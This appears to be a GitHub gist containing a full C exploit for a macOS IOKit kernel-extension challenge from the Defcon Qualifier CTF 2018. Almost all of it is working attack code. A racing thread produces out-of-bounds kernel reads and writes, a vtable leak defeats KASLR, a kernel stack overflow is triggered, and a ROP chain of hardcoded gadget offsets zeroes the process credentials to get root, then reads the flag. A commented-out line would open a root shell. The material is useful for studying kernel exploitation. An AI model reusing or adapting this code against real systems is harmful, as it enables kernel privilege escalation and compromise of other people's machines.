Created
May 14, 2018 21:44
-
-
Save saelo/0a85f22c8a02f3a314661edd715900d3 to your computer and use it in GitHub Desktop.
Exploit for IPWnKit: a macOS IOKit exploit challenge from Defcon Qualifier CTF 2018
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <pthread.h> | |
#include <sys/mman.h> | |
#include <IOKit/IOKitLib.h> | |
#include <CoreFoundation/CFPropertyList.h> | |
const char* kMyDriversIOKitClassName = "io_oooverflow_IPwnKit"; | |
int kOOOUserClientOpen = 0; | |
int kOOOUserClientClose = 1; | |
int kOOOUserClientSayHi = 2; | |
int kOOOUserClientReadNum = 3; | |
int kOOOUserClientWriteNum = 4; | |
int kOOOUserClientFillArray = 5; | |
io_connect_t connection; | |
// Arguments for the ReadNum and WriteNum methods | |
// Stored in global memory since to trigger the race condition | |
struct OOOArgs { | |
uint64_t index; | |
uint64_t value; | |
char padding[0x1000]; // Must be large enough to cause OOL transport | |
} Args; | |
// Racer thread: flips Args.index between these two values | |
uint64_t racer_vals[2]; | |
void RacerThreadMain() { | |
volatile uint64_t* addr = &Args.index; | |
while (true) { | |
*addr = racer_vals[0]; | |
pthread_testcancel(); | |
*addr = racer_vals[1]; | |
pthread_testcancel(); | |
} | |
} | |
pthread_t racer_thread; | |
void StartRacer(uint64_t val1, uint64_t val2) { | |
racer_vals[0] = val1; | |
racer_vals[1] = val2; | |
pthread_create(&racer_thread, NULL, (void*)RacerThreadMain, NULL); | |
} | |
void StopRacer() { | |
pthread_cancel(racer_thread); | |
pthread_join(racer_thread, NULL); | |
} | |
// Thanks @LinusHenze | |
uint64_t GetKextAddr() { | |
FILE *fp; | |
char line[4096]; | |
fp = popen("kextstat | grep io.oooverflow.IPwnKit | awk '{print $3}'","r"); | |
if(fp == NULL) { | |
printf("Failed to get KEXT address!\n"); | |
exit(-1); | |
} | |
fgets(line, sizeof(line)-1, fp); | |
uint64_t addr = (uint64_t) strtoul(line, NULL, 16); | |
fclose(fp); | |
return addr; | |
} | |
uint64_t ReadNum(uint64_t idx) { | |
uint64_t out[2]; | |
uint32_t outSize = 2; | |
Args.index = idx; | |
kern_return_t kr = IOConnectCallMethod(connection, kOOOUserClientReadNum, 0, 0, &Args, sizeof(Args), out, &outSize, 0, 0); | |
if (kr != KERN_SUCCESS) { | |
printf("ReadNum failed\n"); | |
exit(-1); | |
} | |
return out[1]; | |
} | |
void WriteNum(uint64_t idx, uint64_t val) { | |
uint64_t out[2]; | |
uint32_t outSize = 2; | |
Args.index = idx; | |
Args.value = val; | |
kern_return_t kr = IOConnectCallMethod(connection, kOOOUserClientWriteNum, 0, 0, &Args, sizeof(Args), out, &outSize, 0, 0); | |
if (kr != KERN_SUCCESS) { | |
printf("WriteNum failed\n"); | |
exit(-1); | |
} | |
} | |
uint64_t OOBReadNum(int64_t idx) { | |
uint64_t out[2]; | |
uint32_t outSize = 2; | |
uint64_t sentinel = 0x4141414141414141; | |
WriteNum(0, sentinel); | |
Args.index = 0; | |
// Remove the following line to introduce a subtle race condition | |
// that can lead to rare kernel panics and get you banned from the challenge =) | |
// Without that line, if the newly created thread runs before | |
// we enter the IOKit call then we have a 50% chance of returning | |
// an incorrect value from this function and will crash later on | |
// because we're using an invalid kernel slide. | |
out[1] = sentinel; | |
StartRacer(0, idx); | |
uint64_t res = sentinel; | |
while (res == sentinel) { | |
IOConnectCallMethod(connection, kOOOUserClientReadNum, 0, 0, &Args, sizeof(Args), out, &outSize, 0, 0); | |
res = out[1]; | |
} | |
StopRacer(); | |
return res; | |
} | |
uint64_t OOBWriteNum(int64_t idx, uint64_t val) { | |
uint64_t out[2]; | |
uint32_t outSize = 2; | |
Args.index = 0; | |
Args.value = val; | |
out[0] = 0; | |
StartRacer(0, idx); | |
uint64_t res = 0; | |
while (res == 0) { | |
IOConnectCallMethod(connection, kOOOUserClientWriteNum, 0, 0, &Args, sizeof(Args), out, &outSize, 0, 0); | |
res = out[0]; | |
} | |
StopRacer(); | |
return res; | |
} | |
// Corrupt the length field inside the UserClient structure | |
// and call FillArray, leading to a stack based BOF. | |
kern_return_t SmashKernelStack(void* buf, size_t len) { | |
char buffer[0x4000]; | |
memcpy(buffer, buf, len); | |
OOBWriteNum(-1, len << 29); | |
uint64_t out; | |
uint32_t outSize = 1; | |
return IOConnectCallMethod(connection, kOOOUserClientFillArray, 0, 0, buffer, sizeof(buffer), &out, &outSize, 0, 0); | |
} | |
void IPwnKitConnect() { | |
kern_return_t kr; | |
mach_port_t masterPort; | |
io_service_t serviceObject; | |
io_iterator_t iterator; | |
CFDictionaryRef classToMatch; | |
kr = IOMasterPort(MACH_PORT_NULL, &masterPort); | |
if (kr != KERN_SUCCESS) { | |
printf("IOMasterPort returned %d\n", kr); | |
exit(-1); | |
} | |
classToMatch = IOServiceMatching(kMyDriversIOKitClassName); | |
if (classToMatch == NULL) { | |
printf("IOServiceMatching returned a NULL dictionary\n"); | |
exit(-1); | |
} | |
kr = IOServiceGetMatchingServices(masterPort, classToMatch, &iterator); | |
if (kr != KERN_SUCCESS) { | |
printf("IOServiceGetMatchingServices returned %d\n", kr); | |
exit(-1); | |
} | |
serviceObject = IOIteratorNext(iterator); | |
IOObjectRelease(iterator); | |
if (!serviceObject) { | |
printf("No service found\n"); | |
exit(-1); | |
} | |
kr = IOServiceOpen(serviceObject, mach_task_self(), 0, &connection); | |
IOObjectRelease(serviceObject); | |
if (kr != KERN_SUCCESS) { | |
printf("IOServiceOpen returned %d\n", kr); | |
exit(-1); | |
} | |
kr = IOConnectCallScalarMethod(connection, kOOOUserClientOpen, NULL, 0, NULL, NULL); | |
if (kr != KERN_SUCCESS) { | |
printf("OpenUserClient failed\n"); | |
exit(-1); | |
} | |
} | |
int main() { | |
uint64_t vtab, kaslrSlide; | |
IPwnKitConnect(); | |
// Leak a vtable and compute KASLR slide | |
vtab = OOBReadNum(-30); | |
kaslrSlide = (vtab-0x2070) - GetKextAddr(); | |
printf("KASLR Slide: %llx\n", kaslrSlide); | |
// TODO: add something like getchar() here to have a | |
// chance to detect failure and abort the exploit... | |
// Thanks @_tsuro, see https://bazad.github.io/2016/05/mac-os-x-use-after-free/#building-the-rop-stack | |
uint64_t payload[27]; | |
memset(payload, 0x41, sizeof(payload)); | |
payload[14] = 0x434343434343; | |
payload[15] = kaslrSlide + 0xFFFFFF8000810670; // current_proc | |
payload[16] = kaslrSlide + 0xffffff800023c172; // pop rcx; ret | |
payload[17] = kaslrSlide + 0xffffff80006d1e79; // rcx: pop r13; ret | |
payload[18] = kaslrSlide + 0xffffff80004f8483; // mov rdi, rax; call rcx | |
payload[19] = kaslrSlide + 0xffffff8000720c40; // proc_ucred | |
payload[20] = kaslrSlide + 0xffffff800023c172; // pop rcx; ret | |
payload[21] = kaslrSlide + 0xffffff80006d1e79; // rcx: pop r13; ret | |
payload[22] = kaslrSlide + 0xffffff80004f8483; // mov rdi, rax; call rcx | |
payload[23] = kaslrSlide + 0xFFFFFF80006ec4c0; // posix_cred_get | |
payload[24] = kaslrSlide + 0xffffff80005f397a; // mov qword ptr [rax + 8], 0 ; pop rbp ; ret | |
payload[25] = 0x1337; | |
payload[26] = kaslrSlide + 0xFFFFFF800021F21A; // thread_exception_return | |
SmashKernelStack(payload, sizeof(payload)); | |
setuid(0); | |
system("cat /var/root/flag"); | |
//system("/bin/bash"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment